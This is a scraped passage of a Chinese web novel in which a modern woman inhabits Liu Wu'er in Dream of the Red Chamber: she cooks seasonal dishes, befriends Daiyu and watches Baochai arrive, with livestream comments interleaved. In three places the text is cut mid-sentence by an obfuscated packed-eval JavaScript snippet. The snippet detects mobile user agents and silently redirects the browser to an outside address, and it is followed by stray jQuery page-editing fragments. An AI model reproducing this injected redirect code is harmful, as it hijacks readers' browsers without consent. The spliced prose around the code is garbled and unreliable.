柳五儿咬开暄软的馒头，黑芝麻混着猪油的香气在舌尖化开。 她眯起眼，这流心！这油润度！丝滑而不甜腻。柳嫂子的手艺真是吃多久就吃不够。 初春的清晨，寒意还未散去，后山的竹林浸在露水里，柳嫂子蹲下身，手指在泥土上轻轻摩挲，突然眼睛一亮： “这儿！” 她拨开几片枯叶，露出尖尖的笋芽， “要挑这种刚破土的，笋壳带紫斑的才鲜嫩。” 柳五儿学着她的样子俯身，拿把小铲斜斜插入土中，轻轻一撬——嫩黄的春笋便带着泥土的腥气滚出来了。 柳嫂子出发之前，已将糯米与粳米按三七比例混好，泡在盆中。现在米粒已吸饱水，直接倒入砂锅煮。 指尖掐住笋尖，一拧，壳便松动了。自下而上，层层剥开，簌簌的响。 剥到紧处，需用指甲划开缝隙，再一掀，露出内里玉色的肉来，莹洁如新雪，横陈在案板上，隐隐透出清苦的香气。 柳嫂子将春笋搁在青石案板上，边切边给柳五儿示范， “切笋要斜着下刀，这样断面大，好入味。” 柳嫂子主刀，五儿就在一旁打下手。把笋块倒入滚水锅，撒上几粒粗盐，再加一勺黄酒，去涩提香。 焯好的笋块捞出浸在凉水里，保持脆爽口感。 柳嫂子又取来年前用松枝熏的腊肉、晒好的香肠，切成薄片。刀锋过处，肥瘦相间的纹理层层绽开，油脂的咸香混着松木的烟熏味，在厨房弥漫。 柳五儿把干香菇泡发，香菇水留着，一会儿还有用处。 香菇切丁，青豌豆、小土豆、刚采的荠菜……都备好。 那边柳嫂子已热起了锅，铁锅烧得泛青时，一勺雪白的猪油滑入锅中，见热便化了，滋滋地冒着油星子。 腊肉片下了锅，顿时卷了边，透亮的油脂慢慢沁出。香肠丁红白相间，在热油里一滚，便溢出些甜津津的荤香。 再把香菇块、笋丁、土豆块……也倒进去煸炒。盐粒儿撒下去，和着酱油，在锅里腾起一阵带着酱香的雾气。 食材都还带着山野的生气，腊味的油脂一激，鲜味便吊出来了。 那边砂锅里的米已经煮开了，米汤咕嘟咕嘟地顶着锅盖。柳嫂子将炒好的菜码铺在饭上，香菇水也倒进去，盖上砂锅盖，沿着锅边淋一圈油。 灶膛里的火渐渐弱了，改用文火慢煨。待揭盖时，米饭莹润如玉，上头缀着红的腊肉、黑的香菇、青的豌豆、黄的笋丁，煞是好看。 撒一把葱花，那青白相间的颜色，倒像是把整个春天都拌进去了。 把菜和饭拌起来，柳嫂子先盛了碗和柳五儿尝尝，这饭因掺了糯米，入口格外绵软。 春笋脆生生的，香菇吸饱了腊味的油脂，鲜得人舌尖发麻。 最妙的是腊肉丁，甜中带咸，咸里透鲜，教人吃了一块还想再寻一块。柳五儿捧着碗，只觉得满口的山野清气，连鼻尖都沁出细汗来。 所谓冬去春来饭，原不过是把去岁的腌腊与今春的时鲜，一古脑儿焖在锅里。 可经了这水火功夫，倒真把四季的滋味都焖进去了。 柳嫂子笑了，“这才是正经的冬去春来呢。” 直播间弹幕也是疯狂刷屏。 【主播刀工绝了！想吃外婆做的腌笃鲜了（哭）】 【荠菜：明明是我先来的，怎么弹幕全在夸笋和肉？！】 【弹幕护体！外卖软件已打开，但找不到同款（暴风哭泣）】 【前面的，你缺的是外卖吗？缺的是会做冬去春来饭的五儿啊！】 …… 柳五儿把冬去春来饭装进食盒里，又配了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273920|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一碟腌脆黄瓜，往黛玉的住处走去。 刚到院门，就听见里面传来雪雁的声音：“姑娘，再坚持一下，五儿姐姐说这个动作对肺气好！” 柳五儿轻手轻脚地走进去，只见晨光熹微中，黛玉穿着一身淡青色的窄袖衫子，正跟着雪雁缓缓舒展手臂，动作虽有些生疏，却格外认真。 她的额角沁出细密的汗珠，脸颊微红，倒比平日多了几分生气。 柳五儿忍不住笑出声： “林姑娘今日起得真早！” 黛玉闻声回头，见是她，微微喘息着停下动作，拿帕子拭了拭汗，轻声道： “五儿来了？雪雁非拉着我练，说是你教的……” 雪雁笑嘻嘻地凑过来： “五儿姐姐快评评，姑娘的动作标不标准？” 柳五儿放下食盒，故作认真地打量一番，点头道： “林姑娘学得极好，只是手腕再放松些，呼吸要跟着动作走。” 说着，她站到黛玉身旁示范， “像这样——吸气时抬手，呼气时落下。” 黛玉跟着她的节奏调整，果然觉得顺畅许多，不由抿唇一笑： “倒比雪雁教得明白。” 雪雁假装委屈： “姑娘这就嫌弃我了？” 三人笑作一团。柳五儿趁机打开食盒，热腾腾的香气顿时飘散开来： “后山春笋长起来了，我今日做了冬去春来饭，赶紧趁热尝尝吧，姑娘练完正好补补力气。” 黛玉低头瞧去，只见米饭莹润如玉，拌着嫩黄的春笋、绯红的腊肉和翠绿的荠菜，色彩鲜亮如画。 雪雁已经迫不及待地递上匙子： “姑娘快尝尝！五儿姐姐的手艺从没让人失望过。” 黛玉舀了一勺送入口中，春笋的脆嫩混着腊肉的咸香在舌尖化开，荠菜的清甜回味悠长。她眸光微亮，难得赞道：“果然鲜美。” 柳五儿笑眯眯地问：“可合姑娘口味？” 黛玉点头：“比往日吃的更清爽些，倒不腻人。” 雪雁插嘴：“姑娘这几日胃口好了不少，昨儿的莲叶羹也用了半碗呢！” 柳五儿欣慰道：“锻炼开了脾胃，饮食自然顺当。明日我再熬些山药薏米粥，最是养人。” 黛玉放下银匙，忽然轻声问：“五儿，你明日……可还来教我晨练？” 柳五儿一怔，随即笑弯了眼：“自然来！只要姑娘不嫌我聒噪。” 黛玉垂眸浅笑：“你比雪雁稳重多了。” 雪雁夸张地叹气：“唉，有了新师父，旧徒弟就失宠了！” …… 直播间弹幕疯狂滚动： 【啊啊啊黛玉主动约明天！五儿快答应她！】 【雪雁：明明是我先来的！（泪奔）】 【这互动甜度超标了！贾府健身厨娘×病弱美人我嗑死】 【主播的饭能不能量产？我口水流到键盘上了】 【黛玉居然夸人！五儿你是什么神仙投喂官！】 【晨练+投喂，五儿这是要把林妹妹养成健康宝宝啊】 【下一话是不是该教黛玉打太极了？】 【楼上，我赌五毛钱明天直播标题：震惊！林黛玉竟在贾府晨跑！】 5. 雪梨枇杷露 天气逐渐变暖，柳五儿每日就在小厨房和林黛玉屋里来回跑，倒也乐此不疲。 这日，柳五儿正在厨房做吃食，系统小团子突然从案板上蹦起来，黑豆眼瞪得溜圆： “宿主，宿主！检测到新剧情节点——薛家即将入府！” 柳五儿闻言，手上一顿： “薛家？宝钗要来了？” “是的！系统监测到薛家马车已至金陵，预计明日抵达贾府！” 小团子调出光屏，上面浮现一行行文字，薛蟠因争买香菱打死冯渊，薛家为避风头上京，暂住贾府梨香院。 柳五儿擦擦手，眼睛微亮：“宝钗可是个关键人物，得提前准备。” 小团子点头如捣蒜：“宝钗进府后，贾府的人际关系会更复杂，但也是推进剧情的好机会！宿主可以借机刷好感，说不定能解锁隐藏任务！” 柳五儿手上动作渐缓，眼睛一转，心里已有了主意， “统统，我记得宝钗有热症，要吃冷香丸的？” 小团子调出光屏：“宝钗的热症需用白牡丹、白荷花、白芙蓉、白梅花各十二两研末……” “打住！”柳五儿扶额， “这方子比满汉全席还难凑，咱们先解决实际问题——” “宝钗有热症，饮食应当忌油腻……枇杷正在季节，不如今日做些润肺的枇杷露，再备些清爽的点心。” 小团子兴奋地拍手： “宿主真厉害！系统检测到宝钗的幸福值初始较高，攻略难度比黛玉低，但她的剧情影响力极大，成功结交能大幅推进修正进度！” 柳五儿笑了笑：“行，那明天就蹲点看看这位‘蘅芜君’。” …… 枇杷上市时，正是春末夏初。这果子黄澄澄的，皮薄肉厚，剥开来汁水淋漓，甜中带酸，最是润肺。 雪梨则要选砀山梨，皮色青黄，个头不必大，但要沉手，这样的梨汁多味醇。 午后阳光正好，柳五儿挎着竹篮从角门溜出贾府。 刚拐出宁荣街，市集的喧嚣便扑面而来。柳五儿平日也多和柳嫂子出门采买，所以哪家果子新鲜又实惠，早已有了目标。 五儿先去了常光顾的果摊，摊主是个花白胡子的老头，正眯着眼给枇杷擦灰。 “老伯，要三斤东山白沙枇杷。”五儿蹲下身，手指轻轻拨弄着筐里的果子，专挑那些蒂头青翠、果皮金黄的。 老头笑呵呵地给她称重：“姑娘识货，这是今早新摘的。”说着又塞了两个小的给她，“尝尝，甜着呢。” 五儿道了谢，剥开一个尝了尝，果然汁水丰盈，甜中带酸。她小心地把剩下的枇杷装进垫了油纸的竹篮里。 转过两个巷口，是专卖梨子的张记铺子。五儿在摊前站定，目光在几筐梨子上逡巡。 “小娘子要砀山梨？”老板娘眼尖，立刻掀开盖在梨筐上的湿布，“这批是昨儿才到的，您摸摸，还带着地气呢。” 五儿拿起一个掂了掂，又在耳边轻轻一弹，听到清脆的回响才点头：“要五个，劳烦挑硬实些的。” 买完梨子，五儿又去了杂货铺买了些冰晶糖、还有一包川贝粉。回程时路过药铺，又进去称了二钱陈皮。 …… 回到贾府，柳五儿将竹篮往灶台一搁，袖口挽到肘间，露出段藕白的小臂。先把枇杷和梨放水里洗过一遍，枇杷叶刷洗干净，切段备用。 枇杷先用勺子刮一下表皮，用指甲在顶部划开个小口，皮一剥，黄澄澄的果肉就分离出来了，把核去掉，果肉放在白瓷碗里，用盐水泡着。 枇杷处理完了，柳五儿又取来一把薄刃小刀，刀锋贴着梨皮轻轻一转，果皮便丝滑掉落。 削好的梨肉莹白如玉，还沁出些晶莹的汁水。柳五儿刀尖一转，灵巧地旋着，把梨核剜去。 再把梨肉切块，和枇杷肉一并放在盆中。 刚才处理食材时，灶上顺便生起了火，这会儿砂锅底已经冒起小泡。 柳五儿把梨块、枇杷肉下进去。川贝粉、冰晶糖、陈皮、干菊花也一同撒入锅中。 拿一把木勺，顺着锅边缓缓搅动。枇杷肉渐渐化开，金黄的果肉与雪白的梨块在泉水中浮沉，清甜的果香混着药材的苦辛，在厨房里悠悠荡开。 熬这枇杷露，火候最为重要，要文火慢煨，咕嘟咕嘟地熬。熬到汤汁浓稠，枇杷肉已化在梨汁里。 柳五儿取来细纱布，铺在竹筛上，下面用瓷罐接着。把煮好的汤汁舀出来过滤，渣滓都留在布上。 滤好的枇杷露澄澈浓稠，待汤汁稍凉，小心灌入瓷瓶里。瓶口用油纸密封，以红绳系紧。满满一锅的枇杷、雪梨，最后熬出来也不过三小瓶。 柳五儿给自己和柳嫂子留了一瓶，黛玉、宝钗各一瓶。 抹了一把额上的汗，一转头，柳五儿就看见系统小团子在偷吃这枇杷露。 “好你个贪吃小鬼， 任务有进展了吗？ 黛玉近况看了吗？ 情报打听了吗？ 就在这里偷吃起来了，也不怕这枇杷膏把你嘴巴糊住张不开！” 一发三连问一下让系统闭紧了嘴，但小爪子还是紧紧抱着偷舀的枇杷露勺子不放。 “宿主你别生气，黛玉在屋里看书呢，明日薛家进府的路线我也画出来了。” 边汇报边把光幕打开，让柳五儿看。 见五儿没注意，又迅速沾了一点枇杷露来吃，小声嘀咕， “我这不是帮宿主尝尝，味道对不对嘛。” …… 次日，梨香院外。 柳五儿蹲在假山后，手里捏着一块刚蒸好的桂花糖糕，边啃边盯着角门方向。 直播间弹幕刷得飞快： 【金陵第一猹：前方高能！宝姐姐即将抵达战场！】 【五儿你鬼鬼祟祟的样子像极了偷瓜的我（狗头）】 【建议主播扔块香蕉皮，让薛蟠当场表演滑跪（阴暗爬行）】 远处传来车轮碾过青石的声响，几辆朱轮华盖马车缓缓停驻。 王夫人领着丫鬟婆子迎上前，薛姨妈扶着嬷嬷的手下车，身后跟着个锦衣少年—— 薛蟠一脸不耐地扯着领口，活像只被硬塞进绸缎里的野山鸡。 【这就是那个为抢香菱打死人的薛大傻子？（愤怒拍桌）】 【救命！这薛蟠长得好像我们公司摸鱼刷剧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273921|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秃头主管！！】 【后面那个摇头晃脑的是薛蟠？长得像被门夹过的油面筋（呕吐）】 【楼上禁止人身攻击。你这么说，考虑过面筋的想法吗！】 柳五儿自然不知这些议论。她目光掠过薛蟠，直落在后头那抹蜜合色身影上—— 薛宝钗正扶着小丫头的手下车，颈间戴着一把金锁，玫瑰紫比肩褂被风掀起一角，露出里头葱黄绫裙上绣的缠枝纹。年纪虽还不大，却是端庄大方，自有一番气度。 【钗黛股涨停：宝姐姐看我！我是你失散多年的林妹妹啊（疯狂挥手）】 【宝姐姐的金锁晃到我眼睛了！】 【主播快用桂花糕砸薛蟠！我众筹十块！（疯狂打赏）】 柳五儿正看得入神，忽然被系统小团子猛拽衣角：“宿主！检测到黛玉正在拐角处！” 她一回头，果然见黛玉带着站在游廊下，手里绞着帕子，目光幽幽地望着这边。 弹幕瞬间炸了： 【修罗场预警！林妹妹眼神刀我！】 【五儿危！快把剩下半块桂花糕上交保命！】 【宝钗×黛玉×五儿：三人行必有我醋（狗头）】 【五儿の修罗场：主播现在像极了被正宫逮住的渣男（递瓜子）】 柳五儿手忙脚乱藏起糕点。 宝钗似有所觉，忽然转头朝假山方向瞥了一眼。 莺儿在一旁问道：“姑娘瞧什么呢？” 宝钗收回目光，唇角微扬：“方才见假山后似有蝶影，想是春色渐浓了。” 她抬手将一缕碎发别至耳后，腕间金镯与明珠相映生辉。 柳五儿屏住呼吸，身子又往假山后缩了缩。 “宿主！”小团子急得直蹦， “现在怎么办？黛玉在左边，宝钗在右边，咱们被夹击了！” 柳五儿一个暴栗就敲到系统头上， “都离这么近了你才告诉我，现在知道急了？” 看着人还在，实际已经走了有一会儿了。无偿打工、为爱发电，这种大型修罗场也是她这种社畜该碰到的吗？原地毁灭吧！！！ 小团子刚刚光顾着吃桂花糕了，哪里还来得及看消息，小脑袋瓜里也没有什么好的建议，像个鹌鹑一样缩起来，不敢再出声了。 闭眼三秒，睁开发现还在原地，柳五儿也只能面对现实了。 冷静下来，心里很快做出了决断，她又没做什么亏心事，在这里心虚什么？怎么有种偷吃被抓的既视感？（虽然也确实在偷吃桂花糕吧） 心下一定，柳五儿讪笑着往黛玉那边走， “林姑娘怎么在这里，真是好巧呀。” 林黛玉可不吃这一套，瞥了柳五儿一眼，手中的帕子绞得更紧了些，“我说今儿怎么不见人影，原是有了新来的姐姐，倒显得我碍事了。” …… 直播间也趁乱吃粥。 【五儿同志，现在你有三个抉择：1.抱住黛玉2.奔向宝钗3.原地装死】 【我选4：把桂花糕扔向薛蟠制造混乱！】 【楼上天才！打赏了！】 【薛蟠：？你们礼貌吗】 …… 6. 桂花糕偷袭 柳五儿一下就慌了，忙从怀中掏出个荷包：“林姑娘说的什么话，这是我特意给你绣的，里头装着新晒的梅花瓣，最是安神。” 黛玉接过荷包，指尖在上面轻轻摩挲，但还是不愿意正眼瞧柳五儿：“你倒会讨巧，这绣的是......鸭子？” 柳五儿一听，脸上涨得通红，仔细盯着那荷包，“林姑娘再好好看看！” 作为一个现代人，柳舞可没碰过针线。穿到柳五儿身上，柳嫂子也是把她往厨艺精才上培养。前些日子柳嫂子给她做新衣裳，忽的想起这件事来，柳五儿才开始学刺绣。 或许是技能点都加在了厨艺上，柳五儿对这针线实在没什么天赋，这废了快一个月功夫，才缝出来这一个歪歪斜斜的荷包。 本是想着送给林黛玉，但实在丑的鸭鹅难分，就自己留着了。要不是今天这情况特殊，身上又什么也没带，柳五儿也不好意思拿出来。 黛玉见她窘迫，反倒起了几分逗弄的心思，将那荷包举到眼前细细端详： “这扁嘴圆身的，不是鸭子，难不成是......”她故意拖长了音调，眼波流转间偷偷看柳五儿的反应。 “是、是天鹅！”柳五儿急得跺脚，指着荷包上歪歪扭扭的波纹线，“姑娘看这水纹，多明显呀！” “噗嗤——”雪雁突然笑出声，指着荷包角落一团墨绿的线疙瘩， “五儿姐姐，这浮萍绣得倒是别致，活像被鸭子......啊不是，被天鹅踩扁的癞蛤蟆！” 黛玉以帕掩唇，肩头微微颤动，发出几不可闻的轻笑。 系统小团子也毒舌添了一嘴，“宿主这明明是抽象派刺绣。” 直播间弹幕也没放过柳五儿： 【救命！本人鉴定为毕加索式刺绣（笑到打鸣）】 【雪雁我的嘴替！黛玉笑的时候我手机都摔了】 【五儿要不还是原地消失吧，嘎嘎嘎】 柳五儿感觉自己脑子可能是坏了，原地钻个洞进去也比现在这场面好。 却见黛玉忽然伸手，葱白的指尖轻轻点在那团“浮萍”上：“你别说，倒像是瘦西湖的野鸭，专爱追着游船讨食。” 黛玉把荷包小心系在腰间绛色丝绦上，歪歪扭扭的天鹅正落在月白裙褶处。 柳五儿和雪雁都十分惊讶，这荷包实在算不得体面，挂在黛玉身上略显突兀。 黛玉抬眸望向柳五儿：“这天鹅倒有几分野趣，横竖我近日练五禽戏，佩个禽鸟倒也相称。” 柳五儿耳尖仍烧得通红，黛玉也不再调侃她， 正说着，忽听那边薛蟠高声嚷道：“这劳什子规矩忒多！母亲和妹妹且去，我自去找姨父说话！”说罢竟甩开众人，大步流星往这边走来。 柳五儿暗道不好，这位呆霸王素来横行霸道，见了美貌女子便挪不动步。黛玉在此若被他撞见，轻则言语唐突，重则纠缠不清，以黛玉的性子，怕是要气出病来。 一时之间顾不得许多，抓起一块桂花糕就朝薛蟠脚下扔去—— "啪！" 薛蟠一脚踩在桂花糕上，整个人向前一滑，“哎哟”一声摔了个四脚朝天。金冠歪斜，腰带松散，活像只翻了壳的王八。 ...... 【弹幕：哈哈哈哈主播干得漂亮！】 【薛蟠：这地怎么还带偷袭的？？】 【建议主播改行去扔铅球（打赏+10086）】 【啊，我就开个玩笑，主播执行力还是太强了】 ...... “哪个不长眼的——”薛蟠踉跄一步，勃然大怒，抬眼四顾。 因着中间假山的阻挡，薛蟠也没能看见柳五儿一行人，五儿赶紧拉上黛玉、雪雁溜了。 宝钗忙带着莺儿过来搀扶，王夫人也急急赶来。 薛蟠在地上嚷道：“定是有人暗算！这地上怎会有桂花糕！” “想是哪个贪嘴的丫头不小心掉的。哥哥快别嚷了，叫人笑话。”宝钗拿了个帕子递给薛蟠，让他擦擦身上的碎屑。 黛玉本被薛蟠的叫嚷打断了，谁曾想柳五儿偷偷用桂花糕暗算。 ...... 见薛蟠摔倒，那边一行人往过走，黛玉只以为柳五儿是不想和他们碰面，所以也就和雪雁一块乖乖走了。 等快到黛玉院子，远远就见宝玉倚在门边探头张望，一见黛玉便三步并作两步迎上来。 “林妹妹！你可算回来了。祖母屋里传饭呢，今儿小厨房特意炖了老母鸡汤，我闻着就馋了。快些走，再耽搁汤该凉了。” 等黛玉她们走近了，宝玉才发现黛玉身边除了雪雁、还有一个丫头， “这位妹妹是？” 柳五儿虽说在贾府待了有两年，但多数时候和柳嫂子待在小厨房里，偶尔与各房丫鬟们闲话家常，鲜少有机会与宝玉碰面。 等黛玉进了府，柳五儿走动多了些，但多数时候还是趁屋里没其他人，陪黛玉说说话，送些吃食也不会太过打眼。 “这是小厨房柳嫂子家的五儿。” 黛玉在一旁解释，心下也觉得有趣， 怎的自己这后进府的，反比原在府里的认识五儿还早。 五儿福了福身子：“给宝二爷请安。院里还有些活计，我就先走了。” 柳五儿正头疼怎么给黛玉解释方才那事，见黛玉被宝玉缠住，正好寻了个由头脱身。打工人擅长摸鱼，这种修罗场还是太费血条了，少来些的好。 宝玉也不在意，转头拉着黛玉的衣袖，往贾母院里走， “往常这时候你都在屋里做针线的，今儿倒稀奇。叫我好等，差点要打发人去寻了。” 黛玉随口道：“不过和雪雁去园子里走了走，正巧遇见五儿，说了会儿话。” 黛玉故意略过在游廊的细节，生怕宝玉追问起来没完。 宝玉眼睛一亮，凑近半步，“难得见你和哪个丫头这般投缘，怎么从没听你提起？” 说话间忽然瞥见黛玉腰间挂着的荷包换了新花样，“咦？这荷包......” 黛玉下意识将新荷包往身后藏了藏，取出原先那个在他眼前一晃：“旧的那个戴久了，换个新鲜的。宝哥哥眼睛倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273922|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖，莫非是惦记上我的荷包了？” 黛玉这会儿心情松快，与宝玉说笑起来。 宝玉会意，故意装傻充愣：“既然颦儿这么说，我可就不客气了。” 说着当真伸手，把黛玉的荷包揣进袖中，“妹妹的针线就是比旁人的精巧，我可要好好收着。” ...... 【五儿这波撤退我给满分，打工人危机嗅觉max】 【哈哈，三十六计，走为上计】 【宝玉追黛玉的样子就像我追外卖（口水直流.jpg）】 【不是去吃饭吗，怎么聊起荷包了，你们聊天的功夫鸡汤都结油膜了（举勺敲碗）】 【啊啊啊，林妹妹的荷包，我也想要！（痴汉）】 【听说装傻就能得到林妹妹的荷包，真的吗】 【宝玉：你礼貌吗？】 ...... 柳五儿从黛玉住处往小厨房走，正巧碰见周瑞家的往这边走，手上端着个红漆托盘，上面摆着一排簪子。 柳五儿眼珠子一转，心下了然，快步绕到游廊拐角，装作偶遇：“周姐姐安好！这匣子里的簪子可真漂亮。” 周瑞家的见是柳五儿，笑道：“可不是？太太新得的时兴花样，特意带给姑娘们的。今日薛家姑娘来了，就住你们小厨房旁边那梨花院里，这会儿应该还没安顿下来。你来得正好，这支海棠纹的劳你带给宝姑娘去。” 柳五儿接过簪子，那海棠花瓣雕得薄如蝉翼，花蕊里还嵌着米粒大的珍珠，笑盈盈答应：“好嘞，周姐姐您忙去吧，我一会儿就去送。” 柳五儿应下，目送周瑞家的离开后，低头看了看手中的海棠簪子，嘴角微微上扬。 直播间弹幕也紧跟剧情： 【五儿要攻略宝钗了？黛钗股民狂喜！】 【宝姐姐的热症是不是缺个会做饭的贴身太医（疯狂暗示）】 ...... “宿主，这可是个接近宝钗的好机会！”小团子兴奋地在空中转了个圈，“咱们要不要趁机刷一波好感度？” 柳五儿轻哼一声：“别想把今天这事糊弄过去，平日贪吃就算了，这种节骨眼上还敢出错，可不能轻饶你。这一周的点心你都别想了！” “不要啊宿主！！！！！！” 系统小团子大悲，哭唧唧地，硬是挤出两滴眼泪，眨巴着眼睛，想让柳五儿回心转意。 可惜忽略了自己小黑豆眼的事实，才柳五儿的视角看，就是一只汤圆在挤眉弄眼，喜剧效果倒是加满了。 “再说就再加罚三天。” 见柳五儿铁了心要罚，系统小团子也只能恨这张不争气的嘴，默默祈祷这周快点过去。 给小团子提了醒，柳五儿小心把簪子用手帕包好，揣进袖中，往小厨房走去。 雪梨枇杷露怕路上磕碰了，今天出门就没带上。本来计划再带一份桂花糕给宝钗，倒是到了薛蟠脚下，白白浪费了，现在也不敢再拿去自投罗网。 想着这会儿王夫人她们应该还在梨香院，柳五儿就等晚饭过后再去找宝钗。 7. 被发现了 还没进小厨房，就闻见里面浓郁的肉香。 柳五儿快步走进去，问柳嫂子，“娘今天做的什么饭，好香！” 柳嫂子正在打鸡蛋，见柳五儿回来了，手上动作不停，“又去找林姑娘了？锅里炖了萝卜排骨汤，你先往出盛，菜马上就好。” 柳五儿拿了块帕子垫着，把锅盖一掀，砂锅里的汤早已炖得微微发白，萝卜切的虽是厚片，但炖得透亮，筷子一戳便穿透了，柳嫂子还往里面放了几小节玉米，闻着又多了一股清甜。 深深吸了一口气，刚刚经历过头脑风暴，柳五儿这会儿正需要美食来慰藉空虚的胃。 一边拿勺子往出盛汤，一边回柳嫂子的话，“对呀，听说今天薛家来人了，我去凑了个热闹，路上正好碰见林姑娘，就回来晚了些，真的是有点饿了。” 那边柳嫂子把打散的蛋液倒到热油锅里，“滋啦”一声，金黄瞬间在锅底绽开，蛋液遇热膨胀，边缘已经凝固，还鼓出几个大泡，中间仍是滑嫩的蛋液。把着锅柄转上一圈，让蛋液接触锅底，待蛋液半凝，再麻利地用铲子划拉几下，把炒好的鸡蛋盛出备用。 柳嫂子叹了口气，“你这丫头，怎么身体养好了，还养出顽性来了？从前病着的时候倒还安静些，现在成日里东跑西颠的。” 柳五儿摆好碗筷，顺手从灶台边的小罐子里夹了几块腌黄瓜摆到碟子里。听见柳嫂子唠叨，夹起一块儿腌黄瓜就塞进柳嫂子嘴里，笑嘻嘻打断， “哎呀，娘尝尝我前几日腌的黄瓜，脆不脆？” 猝不及防被塞了满嘴，酸甜微辣的腌黄瓜在舌尖迸出汁水，脆生生的，确实不错。 柳嫂子面色稍缓，却还是忍不住念叨：“你呀，也该学着稳重些。整日往林姑娘那儿跑，虽说主子们和气，可到底...” 柳五儿趁机凑过去，撒娇似地挽住她的胳膊，“娘别生气嘛，我这身子好了，想多走动走动。不然天天闷着，不知道哪天就给闷出病来了。” 柳嫂子也说不过自己这伶牙俐齿的女儿，只能作罢，接着炒菜。 锅里再下少许油，今天院里刚割的韭菜、切成段下锅锅，青翠的叶子裹上一层油亮。翻炒几下，韭菜的辛香便窜了出来，混着热油的香气，勾得人直咽口水。待韭菜稍软，柳嫂子把炒好的鸡蛋回锅，略颠两下，蛋块裹着韭菜，黄绿相间，鲜亮诱人。再撒上一撮细盐，出锅！ 蒸笼里是暄软的白面馒头，柳五儿用手迅速捡了两个放盘子里，刚按出的坑又慢慢回弹，满是朴素的麦香。 柳嫂子擦了擦手，解下围裙，看着桌上热腾腾的饭菜，脸上终于露出满意的笑容：“快趁热吃吧，一会儿凉了就不香了。” 柳五儿早就等不及了，先舀了一勺排骨汤，吹了吹热气，一口喝下。 萝卜吸收了排骨的油脂，玉米又赋予甘甜的果类清香，喝着一点也不腻人，最后喉咙里只余暖融融的熨帖，叫人忍不住再添一碗。 再夹起一块排骨，这肉已经炖得酥烂，轻轻一挑便与骨头分离，肥瘦相间，嫩而不柴。 “娘的手艺真是越来越好了！”柳五儿满足地眯起眼，又掰开馒头，夹了一筷子韭菜炒鸡蛋、再来一块腌黄瓜，塞进馒头里。 一口咬下去，鸡蛋滑嫩、韭菜辛香，腌菜的脆爽与面香在口中交织，吃得腮帮子鼓鼓的。 柳嫂子看她这馋样，忍不住笑道：“慢点吃，又没人跟你抢。”自己也坐下来吃饭。 系统小团子蹲在桌角，眼巴巴望着桌上的菜。柳五儿趁柳嫂子不注意，偷偷夹了块萝卜给它，小团子立刻抱住啃起来，烫得直哈气也不舍得松口。 柳五儿戳了戳它圆滚滚的肚子，“一会儿还得去给宝姐姐送簪子，你可别吃撑了走不动道。” 小团子嘴里塞满食物，含混不清地嘟囔：“宿主放心，我保证不耽误正事！” …… 吃完饭，柳五儿收拾好碗筷，从柜子里取出昨天做好的雪梨枇杷露。瓷瓶用红绸布包着，瓶口用油纸封过、又以红绳系紧，确保不会洒出来。 又检查了一遍簪子也没问题，柳五儿和柳嫂子打了声招呼，就出门往梨香院走了。 梨香院离小厨房不远，绕过两个回廊就到。天色已经暗下来，廊下点起了灯笼。柳五儿刚走到院门口，就听见里面传来莺儿清脆的声音：“姑娘，这屋子虽不大，倒比咱们在金陵的住处还精致些。” “既来之则安之。”宝钗的声音温和沉稳，“你去把母亲给的紫檀匣子取来，我看看那些药材可都带齐了。” 柳五儿轻轻叩响门环。 “谁呀？”莺儿跑来开门，见是柳五儿，疑惑道，“这位姐姐是？” 柳五儿福了福身：“我是小厨房的柳五儿，周家嫂子让我来给宝姑娘送簪子。” 莺儿还未答话，里面宝钗已经听见，温声道：“请进来吧。” 宝钗站在门口，穿着一件蜜合色的家常袄子，头发松松地挽着，手里还拿着一本书。屋里点着灯，暖黄的光照在她脸上，显得格外温和。 柳五儿随莺儿进了正屋，就见宝钗穿着件袄子，头发松松挽着，正坐在窗边矮榻上整理东西。 知道薛家要来，府里早安排人把这院子收拾了一遍，这会儿只需把带来的行李稍微收拾一下就行。 屋里陈设简单却雅致，靠窗摆着一张书桌，上面摊着笔墨纸砚。墙角有个小几，放着茶具和香炉。床帐是淡青色的，上面绣着细小的缠枝花纹。 “给宝姑娘请安。”柳五儿规规矩矩行了一礼，把簪子递给宝钗，“这是太太让送来的簪子，说是时新花样，给每位姑娘拿了一支。” 宝钗接过簪子，指尖在花瓣上轻轻抚过，笑道：“劳烦你跑这一趟。” 柳五儿忙道：“宝姑娘客气了。我见这海棠纹样与姑娘甚是相配，倒像是专为姑娘定制的。” 宝钗抬眸看了柳五儿一眼，“我初来乍到，还不曾与府中姐妹们熟识，不知怎么称呼？” “我叫柳五儿，在小厨房帮工。”柳五儿 